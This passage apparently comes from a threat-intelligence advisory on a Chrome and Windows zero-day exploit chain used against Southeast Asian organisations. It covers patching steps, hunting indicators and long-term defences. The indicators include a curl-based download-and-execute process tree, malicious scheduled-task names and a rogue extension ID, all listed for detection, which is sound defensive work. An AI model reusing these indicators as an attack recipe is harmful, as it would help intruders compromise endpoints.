Two notable details on public research becoming operational tradecraft: First, the Chrome Secure Preferences forgery technique SUPERSTOMP relies on was added to a popular GitHub repository on August 6, 2026 — just three weeks before the campaign. Second, the publicly committed Chromium patch is precisely what enabled exploit development. Both illustrate the same reality: the gap between published research and in-the-wild exploitation is closing rapidly.

For organizations in Vietnam, this is a specific warning, not a theoretical risk. A Vietnamese manufacturing company is already among the confirmed victims. UNK_DoubleCheck's approach is particularly noteworthy on two counts: (1) the emails were sent from a compromised Southeast Asian government account — meaning every sender-reputation check (SPF, DKIM, DMARC, sender reputation) would pass completely legitimately; and (2) the lure theme was vaccination appointment registration — an ordinary administrative topic, creating no unusual sense of urgency, easily opened by an employee without a second thought. This is social engineering of noticeably higher quality than typical commodity phishing.

Beyond that, Vietnam's manufacturing sector — with its growing role in global supply chains — is a logical target for economic espionage. UNK_QuietRacket's simultaneous targeting of Indonesia and Singapore indicates that Southeast Asia falls squarely within the area of interest of this exploitation wave.

---

Recommendations

Urgent (Highest Priority)

1. Verify the actual Chrome version in use — do not assume auto-update ran. Ensure all workstations are on Chrome 152.0.7977.82/.83 or later. The critical point: Chrome only applies the patch after the browser is restarted — if employees leave Chrome open continuously for weeks (very common), they are still running a vulnerable version even though the update has been downloaded. Force a browser relaunch across the estate.

2. Check other Chromium-based browsers too: Microsoft Edge, Brave, Vivaldi, Cốc Cốc, and other Chromium-based browsers are affected by the same V8 flaws and need corresponding updates.

3. Patch the Windows kernel (CVE-2026-85880) — prioritizing machines running Windows 10 (all versions), Windows Server 2019/2022, and Windows 11 21H2.

4. Block all published IOCs at the email gateway, proxy, and DNS layer — especially the UNK_DoubleCheck domains if your organization is in manufacturing.

Threat Hunting

1. Search for the distinctive process tree in EDR/SIEM logs: chrome.exe → cmd.exe → curl.exe → execution of a file from %TEMP%. This is the highest-signal, easiest-to-deploy indicator.

2. Search for the v8ctf_exp_attempt key in Chrome's sessionStorage on suspect machines — a direct trace of BlueMoon's retry mechanism.

3. Audit for suspicious scheduled tasks: Windows Scheduled System, EdgeCore_AutoUpdate, MicrosoftEdgeUpdatesTaskMachine, Avpcheckup, GeForceService.

4. Audit browser extensions across the estate — specifically searching for extension ID ckiknalbeplpcpofpnabcnhjcegckfei and any extension claiming to be "Google Gemini" but not installed from the official Chrome Web Store. Check the C:\Users\Public\stomp_ext directory.

5. Deploy the ET rules (SIDs 2071919–2071924) and the MAL_BlueMoon_ExploitKit YARA rule published by Proofpoint.

6. Monitor for anomalous DNS-over-HTTPS queries to Google DoH from endpoints with no legitimate business need — UNK_QuietRacket's C2 resolution technique.

Long-Term Prevention

1. Manage the browser lifecycle as a critical asset: enforce periodic Chrome relaunch via Chrome Enterprise policy (e.g. RelaunchNotification) rather than leaving it to user habit.

2. Control browser extension installation with an allowlist via Chrome Enterprise policy (ExtensionInstallAllowlist / ExtensionInstallBlocklist) — the most effective defense against LONGTALE/GemStone-style payloads, since malicious extensions are considerably harder to detect than executables.

3. Move off older Windows builds: the LPE in this chain only works on builds ≤ 22000. Upgrading to Windows 11 22H2 or later automatically neutralizes BlueMoon's entire LPE stage — reducing a complete exploit chain to a browser exploit trapped inside the sandbox.

4. Targeted awareness training for manufacturing: emphasize that an email from a legitimate government address is no guarantee of safety — that account may be compromised. Be cautious of links in routine administrative emails (appointments, notifications, forms) from unfamiliar counterparties.

5. For security teams: track patch gaps as a distinct risk category. Consider a faster update channel for browsers (note that Chrome Extended Stable has a longer patch gap — weigh this carefully), and monitor Chromium/Chrome security announcements to proactively assess exposure windows.

---

References

• Mind the (Patch) Gap: Multiple Chinese Threat Actors Chain 0-day Exploits in Chrome & Windows — Volexity (Ankur Saini, Conor Quigley, Sean Koessel, Steven Adair, Tom Lancaster, September 9, 2026)

• Once in a BlueMoon: Multiple State-Aligned Threat Actors Rapidly Adopt Novel Exploit Chain Using Chrome and Windows Zero-Days — Proofpoint (Mark Kelly, Greg Lesnewich, Konstantin Klinger, Saher Naumaan, Julia Paluch, David Galazin, Stuart Del Caliz and the Proofpoint Threat Research Team, September 9, 2026)

• Volexity IOC Repository — 2026-09-09 Chrome (GitHub)

---